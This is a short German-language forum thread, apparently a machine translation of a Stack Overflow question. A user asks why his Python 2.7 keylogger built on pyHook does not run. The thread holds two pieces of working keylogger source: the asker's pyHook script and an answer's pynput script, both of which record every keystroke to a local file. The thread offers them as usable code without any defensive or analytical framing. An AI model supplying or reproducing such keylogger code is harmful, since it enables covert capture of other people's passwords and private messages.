2017-03-27 5 views
-2

Ich versuche, einen Keylogger ja zu machen. Nicht für schlechte Dinge, ich will es nur machen und es auf meinem eigenen PC versuchen, aber es funktioniert nicht Ich habe die Module pywin32 und pyhook installiert, aber es funktioniert immer noch nicht. Ich sah dieses Tutorial: https://youtu.be/8BiOPBsXh0gPython Keylogger funktioniert nicht

Ich benutze Python 2.7.13

Hier ist mein Python-Code:

import pyHook, pythoncom, sys, logging 

file_log = 'C:/Users/jelle/Desktop/Keylogger/Keylog.txt' 

def onKeyboardEvent(event): 
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') 
    chr(event.Ascii) 
    logging.log(10,chr(event.Ascii)) 
    return True 

hooks_manager = pyHook.HookManager() 
hooks_manager.KeyDown = onKeyboardEvent 
hooks_manager.HookKeyboard() 
pythoncom.PumpMessages() 
+0

Define * "funktioniert nicht" *, bitte. – SiHa

+0

Wenn ich es öffne, passiert nichts. Ich weiß nicht, warum ich nur ein Typ bin, der den Code kopiert und versucht, es zu verstehen. SiHa –

+0

Dein Code funktioniert ganz gut, für mich. Win7 (x64) Python 2.7.10 (x32), schlägt aber fehl, wenn der Pfad für den Logger nicht existiert. Haben Sie eine Eingabeaufforderung ausgeführt? – SiHa

Antwort

0

Das Problem ist, mit Ihrer Python-Version. Deinstallieren Sie Python und installieren Sie die neueste Version von Python. Das kann Ihr Problem lösen ...

Auch nach der neuesten Version herunterzuladen, wenn das Programm noch nicht Sie arbeiten können dies versuchen:

from pynput.keyboard import Key, Listener 
import logging 

log_dir = "" 

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s') 

def on_press(key): 
    logging.info(str(key)) 

with Listener(on_press=on_press) as listener: 
    listener.join() 

Das obige Programm nicht das Herunterladen benötigt pyHook und die anderen Module Sie haben in Ihrem früheren Code verwendet. Sie werden jedoch 'pynput' brauchen. Sie können es herunterladen und installieren von here.

Wenn Sie immer noch Probleme haben, dann sehen Sie sich diese video an.

Ich würde vorschlagen, diesen neuen Code, den ich gerade gepostet habe, da es einfacher zu verstehen ist, und es verwendet nur zwei Module (eines, das bereits mit Python vorinstalliert ist).